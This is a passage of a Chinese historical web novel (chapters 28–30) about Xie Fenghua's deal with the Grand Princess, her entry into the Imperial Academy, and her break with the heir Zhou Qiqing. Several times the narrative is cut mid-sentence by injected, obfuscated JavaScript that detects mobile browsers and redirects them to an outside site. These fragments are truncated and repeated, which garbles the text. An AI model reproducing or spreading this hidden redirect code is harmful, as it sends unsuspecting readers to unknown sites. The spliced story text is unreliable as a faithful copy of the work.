周大夫人既是容舟的长姐，谢逢华交给她也无可厚非。 谢逢华看着那张与周其卿有几分相像的容貌，忽然想起，似乎有几日没见过周其卿了。 容妙凝扶了扶发髻上的金钗，道：“谢娘子若无别的事，可愿赏脸陪本宫走走？” 长公主发话，哪里还有拒绝的余地。 谢逢华喏声应允，亦步亦趋跟在容妙凝身侧半步远的地方。 “谢娘子来华京多久了？” “不到一年。” “可还习惯？” 谢逢华僵了一瞬，道：“天子脚下，自然是极好的。” 容妙凝笑道：“谢娘子话中有话。” 谢逢华望着波光粼粼的湖面，闻言，垂眸赔笑，却并未作解释。 她不愿多说，容妙凝也不会多问，蓦然转移了话头：“这些年谢娘子一直与谢学正生活，可曾有婚约？” 谢逢华道：“先前一直与爹娘一起生活，也曾有两家媒人说亲。只是后来阿爹战死疆场，阿娘久病，不治而亡，至于未婚夫……尚未过门便接连暴毙，生活实在艰难，只好来华京投奔兄长。” 至于兄长失踪数年，谢逢华又是如何打探到谢怀世的行踪的，暂且不谈。 “有福之女不进无福之门，如今谢学正得了官道，谢娘子日后也算有了着落。”容妙凝摩挲着腕上软玉，坦然自若，“谢学正得以入太学，想必谢娘子也在背后出了不少力。” 谢逢华侧目，那句“有其母必有其子”真切印证在周家的母子身上。 倒是她多心了，还以为长公主当真可怜她的家世，要与她说一门好亲事呢。 谢逢华道：“殿下此言，民女竟有些听不懂了。” 容妙凝挥手，侍候的下人们便退得远了些。 “能不能听懂不重要，重要的是，谢逢华，你想要的，本宫都能给你。” 蛇蝎的眼眸渗出毒液，穿过谢逢华的眼睛，直指心脏。 谢逢华瞳孔骤缩，铺天盖地的重压逼的她双腿发软，若非身后有巨石撑着，恐怕她现在已瘫软在地。 这便是当朝长公主的威严。 容妙凝成婚太久，又久居深宫，使人险些忘记了，夏朝的长公主，也曾是从血海尸山中杀回朝堂的将军。 当今圣上能坐稳皇位，七分功劳在容妙凝的手上。 指甲扣进掌心，疼痛使谢逢华清醒几分，“殿下想让我做什么？” 容妙凝愣了下，旋即失笑：“你倒是没被破天富贵冲昏了头。不错，今日本宫的确是来寻你的。” “府中下人来报，说世子与你举止亲密，这几日朝廷不安稳，那些言官虎视眈眈盯着周府，为了不节外生枝，只能委屈谢姑娘断情割爱，主动和世子断了感情。” 谢逢华抬了抬眸，心道哪来的下人如此多舌，连谈情说爱都要管。 何况正是年轻气盛的岁数，又不是光明正大在言官们面前亲嘴，私下偷摸的行当，竟连这个也要管。 谢逢华道：“或许殿下多虑了，民女对世子未有任何想法，民女只将他看作弟弟。” 翻脸如翻书，容妙凝挑起好看的眉头，颇有些意外地问：“谢娘子是觉得我家卿儿配不上您？” 谢逢华：“……” 真看上你又不乐意。 意识到多言，容妙凝轻咳一声，又端起了长公主的架势。 “世子那边本宫自会说和，待世子彻底断了念想，本宫自会许你富贵无忧。” “民女不要富贵。”谢逢华说。 容妙凝以为幻听：“什么？” 谢逢华坚定道：“民女做这一切皆出自本心，不求富贵。” 像谢逢华这般淡泊名利的女子容妙凝见过不少，但多数都是因为渴望更大的利益。 容妙凝也见怪不怪，“那你要什么？” 谢逢华拎裙跪拜，郑重其事道：“民女想求一个机会。” 一个入朝为官的机会。 容妙凝居高临下睨着她，“据本宫所知，你的兄长谢怀世推拒了周相的举荐，执意留在太学任职，若你还想为他筹谋，本宫劝你死了这条心。” “不，”谢逢华道，“民女是为自己求。” 这倒是有点意思。 容妙凝探手，端起谢逢华的脸，视线在她下垂的眼尾停留片刻，眼底闪过一丝异样的情绪。 “女子不能入朝为官。”容妙凝放开她，在她眉眼垂落的刹那，接着说，“不过本宫倒是可以给你一个机会。” — 周铭从外面逛了一圈回来，说谢逢华并不在明府。 不在明府，想必就在太学了。 周其卿打挺弹下床，匆匆套上外褂，朝着廨舍的方向走去。 “谢娘子！” 山水湖畔，听到有人唤她，谢逢华将信纸折了几折，揣于袖中。 四下无人，周其卿席地坐于谢逢华身旁，道：“有几日未见你了，在忙什么？” “没什么。”谢逢华强打起精神，若无其事道，“成绩出来了吗？” “嗯，我得了甲等。”周其卿像是很高兴，眼眸宛如波光粼粼的湖面，若非男女有别，恐怕他已经抱着谢逢华转了好几个圈，“到时候我再向父亲请命，你可以留下来了。” 周其卿从日夜背书的困倦折磨聊到考试时止不住哆嗦的手，越聊越兴奋，手也控制不住地比划起来。 谢逢华抱着双膝，歪头静静听着他前言不搭后语的唠叨。 她已然不知自己听进多少，只是单纯觉得周遭太过阒然，静得人害怕，无端生出许多遭乱的念头。 她极度需要一种声音填补内心的空缺。 觉察到谢逢华的安静，周其卿止住话头，看向她，“你不开心？” 谢逢华撑着脑袋，答非所问道：“你知道我为什么执意留在太学吗？” “难道不是为了你的兄长吗？” 谢逢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533623|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华勾了勾唇，摇头否认：“说出来你可能觉得我很自私，其实我是为了我自己。” 周其卿怔然，一时竟不知该如何开口。 “那日你与我讲了月下仙的故事，”谢逢华揉了下眼角，擦去并不存在的眼泪，语气依旧平静得没有一点波澜，“礼尚往来，我也讲桩我的故事罢。” 明嘉二十四年，秋。 谢逢华挎着一篮鸡蛋，穿过荒草丛生的麦地，一路行至一栋宅院前。 院门虚掩，透过缝隙，一白衫青年正在院中洒扫。 谢逢华推开门，唤道：“陈大人。” “是谢娘子啊。” 陈言意将扫帚倚在墙角，前来迎她，看到她篮子里的鸡蛋，疑惑道：“这是？” “听闻陈夫人生产不久，我娘说生产的女娘身子正虚，又经一路颠簸，想必正是缺奶水的时候，阿娘就托我带些鸡蛋，给夫人补补身子。” 提及孩子，陈元年面上骤然失了血色，手足无措地推拒着她，“这……这心意我们领了，只是今年收成不好，正是家家户户都不好过，这鸡蛋还是你们留着罢。” 谢逢华全无觉察，一个劲把竹篮往他话手里塞，“陈大人多虑啦。我和阿娘靠着手艺攒了些家底，如今家里尚有余粮，足矣挺过年冬。这鸡蛋是您帮我们盖房子的报酬，看在我和我阿娘的面子上，您就收下罢。” “官本为民，这都是在下应该做的。” 几番拉扯下，竹篮还是塞进了陈言意手中。 谢逢华背过手，躲开了陈言意递来的银钱，“陈大人，我今日来，其实还有一事，想问您求个答案。” 陈言意悻悻收起银钱，道：“谢娘子尽管问，在下一定知无不言。” 谢逢华道：“您在朝中做官，也认识我兄长，他可曾对您提过远在阳城的爹娘和小妹？” 陈言意颔首：“自是提过，我瞧你第一眼，就知你是济民的妹妹。” “提起就是牵挂着，可为何阿兄一走数年，音信全无，若非您至阳城，我们仍以为阿兄早已客死他乡。” 陈言意默了一瞬，斟酌着言辞：“这些济民兄未曾提过。不过这些年朝中党斗，华京变故横生，济民处处碰壁，想必也是怕你们担心，才有意隐瞒的。” 谢逢华“哦”了声，不死心地问：“那大人可否替我们给阿兄写封信，就当带句平安。” 陈言意颔首：“好，我尽量。” 阳城只是陈言意被贬路上的临时落脚，他没待几天，便再次动身。 临行前，陈言意特意登门拜访。 “信我已经托人送出去了，”不知经历了什么，陈言意面容憔悴，疲惫之色尽显，“至于能不能送到济民手中，就凭上面人的意思了。” 谢逢华不解：“什么叫‘上面人的意思’？” 陈言意忽而看向马车旁静等待着他的妻子。 陈夫人身子大抵未好全，浑身裹得严实，却也遮不住日渐消瘦的身形和眼中的根根血红。 像是预料到什么，谢逢华突然问他：“孩子呢？” “死了。”陈言意平静地说，“昨日华京来信，陈府意外走水，麟儿连同陈府百余人皆葬于火海，死无全尸。” 轰隆！ 旱了多月的田地终于迎来了第一场暴雨。 农人们纷纷逃出家门，在滂沱大雨中欢呼雀跃，任由泥水裹身，雨水洗涮。 泪水分不清悲喜，尽数融于此起彼伏的叫声中，化于这场迟到的雨水中。 欢庆声中，陈夫人压抑的哭腔宛若野外孤魂，苍凉悲婉，格格不入。 谢逢华目送那辆孤单的马车摇摇晃晃驶入雨幕中，浓缩成一点，直至彻底消失不见。 再后来，陈家的雨变成了谢家的雪，带来了父亲战死疆场的消息。 母亲由此一病不起，本就紧缺的食物因昂贵的药材变得更为拮据。 边关战事不止，那些征兵的官吏来得越发频繁，眼睁睁的，村子里的男丁越来越少。 为了家族香火延续，剩余的适龄男子纷纷寻良女结亲。 纵使当下拿不出特别多的聘礼，为了香火，男子们甚至不惜霸王硬上弓，靠毁人清白从而得到女子。 一时间，村子里的女子纷纷出逃，另寻他路。 邻村小花背着包袱上门寻她，问她要不要一起走。 谢逢华看了看床榻上神志不清的母亲，朝小花摇了摇头：“不了，我已经答应嫁给隔壁崔公子了。” 原因无他，因为崔家有钱。 有了钱，她就可以给阿娘买药治病了。 但是不巧，聘礼到手的第二日，崔公子就被发现死于家中，仵作验尸后，断定为意外摔伤导致身亡。 “后来的事你也知道了，又有几家上门提前，但都被我‘克死’了。”谢逢华自嘲般笑笑，说，“阿娘病逝后，我就逃出了村，循着先前陈大人给的消息，一路寻到华京，寻到兄长。” “你们觉得我留在太学是为了兄长，可兄长权势滔天又如何？到头来抛弃我还不是一句话的事？” 谢逢华站起身，仰头望向天际悬挂的一轮明月，道：“所以啊，周其卿，能牢牢掌握在自己手里的能力才叫权力。向旁人乞讨来的，不过是镜花水月，指间流沙，你终究留不住。” 28. 第 28 章 周其卿不知道谢逢华为什么突然提及过往。 是怕旁人嫌恶，还是担忧他人误解？ 亦或者—— “谢娘子已经走了。” 对上周其卿茫然无知的目光，明玥奇怪道：“怎么，小妹没有告诉你吗？” “告诉我什么？”周其卿回过神来，此时却已顾不上质问，忙道，“她去哪儿了？” 明玥摇头：“抱歉，我们也不清楚。” 周其卿恼火：“她不是事事与你们说吗？你们怎会不知她去了哪里？” “今早长公主府派了马车，什么都没说，直接将小妹接走了，到现在都没回来。”明玥满腹郁闷无处发泄，没好气地说，“我还没找您兴师问罪呢，世子就先找上门了。” 好端端的谢逢华怎会和长公主府扯上关系，除非是长公主主动找上谢逢华。 联想到昨日周大夫人那番话语，即便知晓母亲并非滥杀无辜之人，周其卿仍止不住为谢逢华担忧。 “世子。” 自长公主成婚后，长公主府便闲置下来，但胜在府邸水木清华，偶尔容妙凝也会来住上一段时间。 府中下人不多，也都知晓来客身份，因此周其卿没费什么力气就找到了正在与客品茗的容妙凝。 周其卿本欲开门见山，可当看到茶案对面的紫袍青年，质问的话又硬生生憋回腹中。 在那人和善的目光中，周其卿老老实实向二人行了礼，“母亲，陈大人。” 陈元邑，国子监祭酒，也是昨夜谢逢华所提的陈言意的表兄。 周其卿倒不是怕他，只是这人阴晴不定，性情古怪，以狡诈冷血出名，连周惕守都在他身上栽了跟头，让人不得不多些防备。 “世子。”陈元邑见了礼，转而对容妙凝道，“殿下，国子监尚有要事，臣先告辞了。” 容妙凝面色不大和善，却也没多说什么，摆手放人离开了。 门扉合上刹那，周其卿迫不及待开口问道：“谢娘子在哪儿？” 茶盖拂去茶沫，容妙凝淡然吹去茶香，道：“你倒是关心她。” 周其卿一噎，意识到行径越界，后悔已是来不及。 做都做了，泼出去的水哪还有轻易收回来的道理。 何况母亲只是老了又不是死了，那些折磨人的手段用在谢逢华身上，不死也得丢掉半条命。 想到这里，周其卿多了几分与母亲对质的勇气：“母亲，谢娘子只是寻常百姓女儿家，无功无过，何须母亲兴师动众？何况早晚都要成亲，儿子何曾不可为了心上人争上一争？” 容妙凝面无波澜，凤眸抬了抬，道：“你拿什么争？” 朗日晴天，平地惊雷，周其卿骤然脑海一片空白，直愣愣僵在原地，上唇碰下唇，竟是一个字都吐不出来。 容妙凝撂下茶盏，道：“世子殿下，救人要拿出救人的实力，若无世子身份，光靠一腔热血，您连公主府的外门都进不来。” 在周府，容妙凝和周其卿是母子，说话做事都留三分余地； 在长公主府，容妙凝便是万人之上的长公主，皇帝的亲姐姐，连周宰相都要给她几分薄面。 周其卿不过是个未及冠的小子，背靠着长公主和周宰相的余威，苟得一个平平无奇的世子名号。 华京众多侯府世子，周其卿是名声最差的那个。 “世子殿下，若我是谢娘子，我也不会选择你。” 走出长公主府前，容妙凝忽然从梨花椅上起身，遥遥看着门口失魂的身影，终是于心不忍，喊住他，“卿儿，别怪娘狠心，更不要怨恨谢娘子。” 周其卿侧目，说不清是笑还是在哭，眸中似有什么摇摇欲碎，只需一句话，即可溃不成形。 颤抖的唇张开又闭上，终是一字未发，沉默走出了容妙凝的视野。 “殿下。”静候许久的甄姑姑上前，低声道，“谢娘子那边已经安置好了。” “那就好。”容妙凝叹息，“谢逢华比她那哥哥有魄力，若非谢家与容舟交往过密，本宫倒真想将她提为世子妃。” 甄姑姑附和道：“常言道家有贤妻旺三代，世子若得此女子，必定官运亨通，前途无量。只是谢娘子并非贤良纯善，殿下就不怕世子镇不住她，反着了谢娘子的道？” 容妙凝不以为意：“卿儿被周家惯废了，也是该找个人好好挫挫世子殿下的锐气了。” 此时，国子监外，谢逢华倏然后脊一凉，狠狠打了个寒颤。 “这天越来越冷了。”谢逢华嘟哝着，凭借长公主的手信，顺利跨过国子监的大门。 不同于太学，国子监的体系更为庞大精细。 太学的门槛将多数平民百姓拒之门外，重点培养官宦精英子弟，只供给朝廷所需的人才资源。 而国子监作为大夏的最高学府，统领太学，掌控大夏最权威的教育资源，并兼容开放更多平民子弟和外朝学子就读，是无数读书人梦寐以求的读书圣地。 不过这些暂时和谢逢华没什么关系。 许是错觉，亦或是国子监开放包容的教育风气，相比于太学学子的趾高气昂，国子监的监生们显得更为平易亲和。 谢逢华一路打探着，穿过两层进院，最后绕过一座堂庙，停在敬斋院前。 院中寂寥，枯枝败叶落了满地却无人洒扫，风一吹，落叶沙沙，恰到好处遮住了 谢逢华正疑心是不是自己走错了地方，忽听堂内传来瓷器碎裂的声音，余音未断，一女子哭着跑出了屋。 走了两步，似不解气，转头朝屋内骂道：“陈元邑，你就是个冷血薄情的伪君子！” 回头，恰与谢逢华对个正眼。 四目相对，谢逢华颔首，朝旁边挪步，让出路：“您请。” 那娘子匆忙抹了把脸上的泪，气冲冲跑出院落。 谢逢华在门外踌躇片刻，定下心神，抬手叩响门扉。 “谁？” 男子声音低沉压抑，偶尔夹杂着瓷片碰撞发出的细微叮当声。 谢逢华迈过门槛，小心翼翼地探头张望，“是……陈祭酒吗？” 陈元邑将碎片用帕子裹好，丢至院外，折返回屋，又净了手，出来时，谢逢华仍站在案前，不知在想些什么。 提及这位谢娘子，长公主仅用五字概括——“不在你之下”。 想当年陈元邑连中三元，是皇帝钦点的状元，朝廷党争你死我活，独陈元邑出淤泥而不染。 眼前女子平平无奇，又是如何说服长公主心甘情愿为她引荐的？ 换做几年前，长公主塞来的人，陈元邑定当好生招待。 只是自从和亲事变后，陈元邑对这位长公主所作所为大失所望，处处敬而远之。 然而长公主还是找上了门。 长公主一句“举荐”，轻飘飘地将黑锅甩给了他。 朝臣身边哪个没有自己的耳目，谁人不知谢怀世入了容舟门下。就容舟与周惕守斗得你死我活的劲头，足矣使世人对谢怀世兄妹敬而远之。 若陈元邑应了长公主的话，将谢逢华安插在太学，今日谢逢华入太学做学官，明日周惕守就请他去周府喝茶。 周惕守有得是法子让他悄无声息地在华京消失。 若不从…… 陈元邑盯着信尾的长公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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国子司业段恒手捧一打公文，正局促地站在门边，见他们看过来，没话找话道：“方才下官遇见您夫人了，只是嫂子似乎脾气不大好，没理下官。” 陈元邑惯是不听他废话的，开门见山道：“你来做什么？” 段司业沉浸于被陈夫人忽略的悲伤中，被点了名，这才想起自己是来做什么的，忙把账本往陈元邑桌上一摆，道：“这是这个月国子监的开销，烦请您过目。” 陈元邑淡淡应了声，视线落在被忽略的谢逢华身上，思虑片刻，对段司业道：“行明，上月考核的试卷可还有剩余？” 段恒点头：“有是有，不过你要做什么？” 陈元邑翻阅账本，随手指向谢逢华，“找间空舍，让谢娘子写篇策论练练手。” “策论？”段恒不可思议地指向谢逢华，“她她她……” “咳。” 谢逢华轻咳一声，打断了段恒呼之欲出的惊讶，温声道：“有劳段司业了。” 虽不解这两人唱的哪出戏，但瞧陈元邑一副爱答不理的模样，段恒只得应下桩糟心活。 “本官只等你半个时辰，写不完，只能请谢姑娘打道回府了。”临离开前，陈元邑如是说。 半个时辰。 是瞧不起她，亦或者压根不觉得谢逢华会写关于当下政治的文章？ 在太学的一个多月，谢逢华吃的也不全是白饭，看的也并非全都是圣贤书。 她连周其卿都能从不合格教到甲等，教学相长，受益更多的反而是谢逢华自身。 半个时辰后，段恒打着哈欠凑到谢逢华身旁，见她还在写画，不由得揶揄：“谢娘子，需要下官送您回去吗？” “不必，我写完了。” 谢逢华拽过一旁密密麻麻铺满整张纸面的试卷交给他，手下依旧奋笔疾书。 段恒大致扫阅了试卷，眼底隐隐闪过一丝惊艳，感慨之余，低头见她手中笔墨不停，不由得好奇：“那你现在在写什么？” 谢逢华落下最后一笔，小心吹干墨迹，道：“绝交书。” 29. 第 29 章 明嘉二十五年，春。 春寒料峭，冰雪未融。华京却是繁华如旧，一片欣欣向荣的盛景。 “客官，您的汤饼。” 段恒裹紧短袄，搓热冻得僵硬的十指，热乎乎的汤饼下肚，骤然驱散了压抑了整日的寒气和怨气。 转而又想到吃完饭还要回国子监处理公案，落筷的动作也慢了下来。 近些天陈府的小公子染了风寒，陈元邑一时半刻脱不开身，不然朝廷下发的旨意怎么也轮不到一个司业挑头。 在陈元邑身边侍候多年，在朝中，除了长公主和陈家，便数段恒最得他信任。 自另一位陈大人因上书被贬后，陈元邑更是宛如惊弓之鸟，处处提防，事事谨慎，生怕落了表弟的后尘。 只可惜，得罪周惕守，岂是断臂便可得生的。 段恒叹气，刚挑起一块饼，对面忽然冒出一只白里透红的手指。 “这位公子，可否拼个桌？” 似经一路风寒，她身上裹挟着瘆人的冷意。 尚且寒冷的天，对面人的衣衫肉眼可见的单薄，唯有身前打满补丁的包袱稍显厚重，却依旧不足以御寒。 饶是过了许久，搭在桌案上的指尖仍是止不住轻颤。 她什么也没点，似乎只是坐坐，偏偏那双深不见半分烛光的眼睛却黏在他尚未食用完的汤饼里，流露出几分渴望。 段恒愣了愣，抬手招呼店小二，“一份热汤面。” 小娘子回过神，慌忙摆手：“多谢公子，我……我只是……” 段恒挥手让店小二传菜，转而对她笑笑，“我听小娘子口音并非华京人士，小娘子可是来投靠家人的？” 小娘子闷闷应了声，道：“您可是国子司业段恒段大人？” 国子监广纳百川，求学学子自各地远道而来，有坐马车的，有穿着破草鞋徒步走来的，有凭着优异成绩考进来的，也有靠着关系被人塞进国子监的。 无论何种姿态，何时何地，大多都是段恒出面接待。 对此，段恒早已见怪不怪。 “正是在下。”段恒说。 小娘子点点头，解下不离身的包袱，从几件随身衣物中翻出一封保存完好的信，郑重其事地交给他。 大抵又是恩师引荐罢。 段恒悻悻地想。 无意触过的指尖冰凉，信件却捂得灼手，平整得没有一丝褶子。 未拆信件，封面的一列“行明亲启”骤然堵住了千言万语。 这字迹段恒再熟悉不过。 段恒死死攥着信件，手却不听使唤，好半晌，才哆嗦着拆开了信封。 再次看向对面小娘子时，恐惧、后怕、担忧……以及一瞬的欣喜，统统被后知后觉的怀疑压在胸口。 段恒道：“你究竟是什么人？” 小娘子秀气的脸泡在氤氲雾气中，段恒一时看不清她眼底的神色。 犹记得，她只说了一句话： “想翻案吗？” “段大人。” 段恒从梦中惊醒，身侧，谢逢华讪讪收手，关切道：“段大人，多注意休息。” 段恒按揉着突突跳的太阳穴，信手撩开车帘。 日光半坠不坠，懒散挂在天际，明府的灯笼高高挂起，门前富贵骄人的公子瞬间夺去了行人全部的目光。 段恒撂下帘子，道：“谢娘子，你这般做事，就不怕得罪周世子？” 搭在车帘上的手指微屈，沉吟许久，车厢内再次响起谢逢华清冷的声音：“迟早有这一天，他早晚都是要恨我的。倒不如趁着感情未深，早些断了不该有的念想。” “感情未深？”段恒只手撑额，一副看热闹不嫌事大的小人姿态，“我瞧未必。” 谢逢华张了张口，却已是不愿再多言。 掀开帘子，俯身下车，才向车内的段恒道了辛苦，转身就见周其卿朝她走来。 周其卿风尘仆仆，脸颊溢了些汗珠，靠近时，夹杂着滚滚火气，灼得谢逢华心跳过速，下意识后退躲避。 可她还能躲去哪里。 周其卿绷着脸，视线在她和马车之间游荡，“来都来了，陈大人不与学生见个面吗？” 说着话时，周其卿手握剑柄，指尖因用力捏得渗白。 段恒是个人精，觉察到气氛不对，硬是憋着一句话不说。 早知会遇见周其卿，段恒就用自己的马车送谢逢华回来了。 马车里的段恒悔不当初，马车外，谢逢华迈前一步，拦在周其卿面前，“有什么冲我来。” “我今日本就是来找你的。”周其卿冷冷睨了眼无动于衷的车厢，探手擒住谢逢华的手腕，转身朝着周家马车走去。 马夫正感叹于周世子的粗暴，便听身后传来段恒害怕但惜命的声音：“愣着干什么？还不快跑！” “……” 谢逢华被周其卿拦腰架上马车时，她才后知后觉地庆幸，庆幸自己听了段恒的话，将那封绝交书撕毁了。 力量悬殊，除却头脑，谢逢华毫无胜算。 何况周其卿精于骑射，与他硬碰硬，谢逢华出了吃苦头落不得半分好处。 车厢空间绰绰有余，谢逢华寻遍车厢，却找不到半分容身之地。 周其卿如一堵高墙，步步紧逼，谢逢华不断向后躲避，直到后脊抵住坚硬的车壁，下意识抬头，周其卿离她不过半臂距离。 “我母亲与你说了什么？” 周其卿双臂撑于她身侧，宛若瞄准猎物的箭矢，锋芒抹寒，一触即发。 谢逢华努力忽略令人窒息的气氛，脑海中不断浮现出那日长公主的话语，心底由此生出了些底气。 “长公主与民女做了一笔交易。” “什么交易？” “这似乎与世子无关。” “谢逢华！” 不知为何，今日的周其卿尤其暴躁，宛若力竭之人濒死前质问上苍不公的绝望，“谢逢华，你究竟想要什么？金钱，地位？他们能给的，我也可以尽数赠与你。” 掌心传来细密的疼痛，牵扯着慌乱的心跳，反而使她慢慢镇静下来。 “不需要。”谢逢华冷冷看着他，“我总要的，我自会想法设法得到，无需世子割舍。” 一句话，像是点了定身穴，周其卿僵在原地，不可置信地看着她。 谢逢华深吸一口气，道：“世子殿下，您还没瞧出些异样吗？自始至终，我都是在利用您啊。” 谢逢华满腹经纶，又有一手好绣技，进绣纺、做教书夫子……哪个不必抄书来钱快。 何苦抄书抄的手酸腕疼，到头来赚不了几个字，还要被学子们以各种借口克扣薪酬。 当初第一次见面，周其卿问她认不认识“周世子”，谢逢华当即便否认了。 可现在想想，纵使不常出门，长时间接触太学学子，以周其卿的闻名程度，她也该听过些关于“周世子”的风声，又何谈“不知”？ 周其卿掰正她的脸，迫使她看着自己的眼，“所以，第一次见面，你就知晓我是谁？” 谢逢华避无可避，索性也破罐子破摔：“是，我一开始就是冲着你去的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533625|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就连章旭……她也是塞过钱的。 “为什么？”周其卿的声音沉了下去，与其说是质问，不如说是自言自语，“你不喜欢我，为什么还要为我下这么一盘棋？” 谢逢华抱臂，望向他的眼眸再无半分私情：“我看中的不是您，而是您身后的周家。” “世子，其实长公主殿下说得有道理，我野心太大，身后牵扯着谢明两家，您尚未及冠，心性羸弱，撑不起我的野心。退万步来说，即便嫁人，我也不会选择您。” 周其卿久久没再说出一句话。 肩上骤然卸力，他跌坐一旁，表情漠然。 那些话憋在她心头许久，原是打算待一切尘埃落定后再寻机会挑明，或是待他及冠，或是待他结亲…… 只是谢逢华也没想到，这一天会来得如此之快。 谢逢华甚至来不及窥探自己的内心，眼前一桩桩一件件接踵而至，谢逢华措手不及，也无暇顾及。 谢逢华活动了肩膀，起身要下车。 经过周其卿身旁，衣袖忽然被捉住。 周其卿垂着头，指尖捏着那片轻薄的衣袖，车厢内宛若阴云压空，令人喘不过气。 谢逢华尝试抽出，却怎么也拽不动。 他沉默着，却怎么也不肯放手，似乎这般就能使她回心转意。 谢逢华蹙眉，声音沉下来：“放手，别让我发火。” 少年人的脊梁宛若翠竹，松雪压枝，弯了脊梁，却怎么也折不断。 见此，谢逢华也没了主意，索性随他拽着，坐在他身侧。 谢逢华气他不知上进，也对他的稚气未脱感到悲哀又无奈，绝情的话在嘴边兜兜转转，终化作无尽的默然，重重压在两个人的心头。 好半晌，车厢内突然传来一声若有似无的“没关系”。 谢逢华怔住，不敢置信地看向他，“你说什么？” 周其卿抖落松雪，腰背慢慢挺起，“我说，如果是你，即便利用我，也没关系。” 谢逢华哑然，撞见他眼中的坚定，一种名为“愧疚”的情感爬上纷乱的思绪，恶狠狠给了她一个清脆的耳光。 之前怎么没看出来，周其卿怎的如此……癫狂？ 谢逢华抿唇：“周世子，我不喜欢你。” 周其卿望着她，轻轻“嗯”了声。 谢逢华哽了下，说：“我唯利是图，自私自利，还年长你三岁。” “嗯，无妨。” 谢逢华搜肠刮肚，在浩如烟海的优点中翻出一点微不足道的缺陷，反反复复说与他听。 周其卿却跟耳聋似的，对她的话充耳未闻也罢了，还只用几声分不清应答还是敷衍的鼻音含糊遮掩而过。 到最后，谢逢华实在找不到借口，耐心也随之耗尽，不耐地推开愈渐靠近的周其卿，道：“我不喜欢比我小的，就算我下嫁农户，也绝不可能嫁与你，你死了这条心罢。” 说罢，谢逢华就要起身离开。 不知那句话挑中了他的反骨，方才还装聋作哑的周其卿忽然暴怒：“你敢！” 谢逢华充耳不闻，自顾自跳下马车，只是尚未走出两步，腰间骤然收紧，谢逢华猝不及防，身子失控向后跌去，直挺挺撞上一具硬挺的胸膛。 手臂如铁链，将她死死绞入怀中。 “别走。” 接二连三的越界试探，谢逢华彻底恼了。 “你简直不——” 扭头欲叱，尚未开口，周其卿放大的脸夹杂着滚滚热浪，瞬时扑面而来。 谢逢华猛然瞪大了眼。 30. 第 30 章 大抵染了脏东西，这几日总觉四肢乏力，好似有水鬼坠在身上，拖着精神，说话做事总是慢半拍，说错了许多话，亦做错了很多事。 只是彼时头脑混沌，周其卿也记不大清了。 那日烦闷，周其卿没去上课，漫无目的在街边闲逛。 人海茫茫，周其卿偏偏只看见了谢逢华。 其时谢逢华正与其嫂谈论哪家的布料柔软，哪家的胭脂更衬肤色。 许是不善择选，谢逢华问得多，明家主皆一一回应。 聊着谈着，不知谁先开的头，兜兜转转，话头竟落在谢逢华的婚事上。 “先前你崔姨为你说了几门亲事，你见也不见全都拒了，把她气得好一顿念叨。” 谢逢华摆弄着珠花，心不在焉：“不喜欢。” “你喜欢什么样的，回头我再让崔姨替你……” “嫂嫂。”谢逢华无奈，“我不想成亲。” 明玥笑道：“因为周世子？” 谢逢华撂下珠花，“与他无关。” “世子倾心于你，我们都在看眼里，若你顾虑家世，兄长和嫂嫂亦可为你撑腰。” “嫂嫂。”谢逢华好似真的没了两全的法子，索性开诚布公地说，“我不想陪着一个永远以自我为中心的孩子长大。” 此言一出，不仅是明玥，就连躲在远处偷听的周其卿也愣在原地。 明玥似懂非懂：“你觉得世子幼稚？” “不，不是幼稚。”谢逢华叹气，“嫂嫂，窥骨不相面，别看周家容着周其卿胡作非为，实则周府早已放弃周其卿。亦或者他们就是要养废周其卿，周世子就是看出了他们的真面目，所以才装成纨绔……” 明玥讶然，下意识捂住谢逢华的口，环顾四周，确保无人听到，这才稍稍松口气，附在谢逢华耳畔低声说了什么。 谢逢华拉下她的手，道：“他们知晓又如何？周其卿是长公主膝下唯一的血脉，动不得他，还养不废他吗？” “可……那也是他的孩子啊……” “关于这个问题，我一开始也很疑惑。”谢逢华掏出荷包，拾出几枚铜钱换了一个糖人，塞进口中，含含糊糊地说，“不过前阵子周世子讲的月下仙的故事，给了我一些猜想和启发。” “什么？” “为了不节外生枝，在真相大白前，”谢逢华笑笑，食指抵住唇峰，“一切保密。” 谢逢华的故弄玄虚，反弄得明玥提心吊胆，不上不下。 “你啊……”明玥只当小孩子说笑，捏了把谢逢华鼓起来的腮帮子，嗔怪几句，此事便当翻了篇。 偏偏那几句话在周其卿的脑中盘旋不去。 她们分明走远了，可在周其卿眼中，谢逢华却好似离他更近了。 谢逢华听懂了他的弦外之音，她分明知晓周其卿的心意，却还要为了迷惑旁人，逃避他，拒绝他…… 谢逢华做得这一切，其实是为了保护他。 周其卿不胜其烦地伪装了十余年，却在得知有人真正读懂他伪装背后的苦衷时，先于喜悦而来的，是无处发泄的委屈。 周其卿一刻都不想再等下去了。 他想要见谢逢华，然后，将唯一知晓他内心的人狠狠抱进怀中。 即使那人如何绞尽脑汁地拒绝他，看着她无中生有编造谎言，周其卿丝毫不觉半点气愤。 与之相反的，在谢逢华坐在他身边，任由周其卿牵着她的手时，周其卿竟萌生一丝隐秘的、不自觉的、坏事得逞般的喜悦。 周其卿心知肚明，他尚未及冠，年岁尚小，谢逢华再狠心也拿他无可奈何。 